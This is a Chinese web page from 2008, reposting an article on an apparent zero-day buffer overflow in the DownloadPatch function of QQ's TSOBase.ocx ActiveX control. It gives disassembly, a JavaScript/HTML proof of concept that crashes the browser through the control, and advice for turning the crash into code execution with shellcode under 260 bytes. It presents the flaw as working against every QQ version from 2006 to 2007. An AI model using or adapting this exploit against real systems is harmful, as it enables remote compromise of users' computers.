| 网站首页 | 文章中心 | 图片中心 | 资料下载 | 有事留言 | 友情解梦 | 小说 | 免费BT电影下载 | 邮编查询 | 超级搜索 | 在线游戏 | 友情算命 | 友情博客 | 友情论坛 | 
最新公告:

  没有公告

您现在的位置: 友情岁月 >> 文章中心 >> QQ专区 >> 文章正文
专题栏目
更多内容
最新推荐 更多内容
相关文章
qq空间背景代码
QQ密码设置技巧
QQ被盗后选择哪些途径申
从进程中获取QQ号码(终结
QQ最新漏洞 0day
qq空间代码
教菜鸟克隆别人漂亮的QQ
QQ空间代码制作教程大全
用场景漏洞盗QQ破解之法
亲手打造自己的QQ密码破
更多内容
QQ最新漏洞 0day           
QQ最新漏洞 0day
作者:佚名 文章来源:不详 点击数: 更新时间:2008-2-1 10:00:22
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

腾讯QQ的安全组件TSOBase.ocx,由于程序员的大意,在程序函数DownloadPatch中,对传入的参数没有做任何限制,本来应该是在256字节以内的,但却没有加以限制。为什么说是256字节呢?看看下面的分析,大家就会明白了!


程序代码
mov    ecx, 0A00h
xor    eax, eax
lea    edi, [ebp+var_2F84]
mov    edx, [esi+4Ch]
rep stosd
stosb
push    edx
lea    eax, [ebp+var_2F84]
push    2800h
……
loc_10013F6C:
lea    edx, [ebp+var_2F84]
push    edi
push    edx
lea    ecx, [ebp+var_24]
mov    byte ptr [ebp+var_4], 7
call    CFile::Write(void const *,uint)
……
mov    eax, [esi+90h]
mov    ecx, [esi+38h]
mov    edx, [esi+3Ch]
push    104h ; size_t
……


      其实上面这段代码就是下载一个安全补丁到本地来,在保存的时候,文件名是我们可以利用的参数。我们知道,Windows下的文件名最大长度为256字节,如果能成功利用这个参数就可以导致溢出了。我们写一段JavaScript来测试一下上面的分析是不是能触发这个漏洞。


程序代码
<script>
function aiwuyanFun()
{
Kill.DownloadPatch("http://...ddddddddddddeeeeeerrtttttt");
}</script>
<OBJECT ID="kill" CLASSID="CLSID:{C09B522F-8AED-4E21-A65C-DC1AB652BAEE}"></OBJECT>
<script>javascript:aiwuyanFun();</script>


      结果傲游出错了!QQ的这个漏洞利用很简单,不需要什么JMP、ESP或者别的跳转语句,因为程序出错后会自动定位程序指针到这个溢出字符串的开始,大家只要注意4字节对齐就行了。当然,这里的ShellCode长度要在260字节以内,仔细调试ShellCode,260个字节足够我们用了。

    这个漏洞目前针对2006到2007的QQ都是通杀!

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:友情岁月    责任编辑:友情岁月 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    | 本站地图| 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    声明:本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,
    请在一个月内通知我们,我们会及时删除。  
    信息产业部备案
    *ICP备********号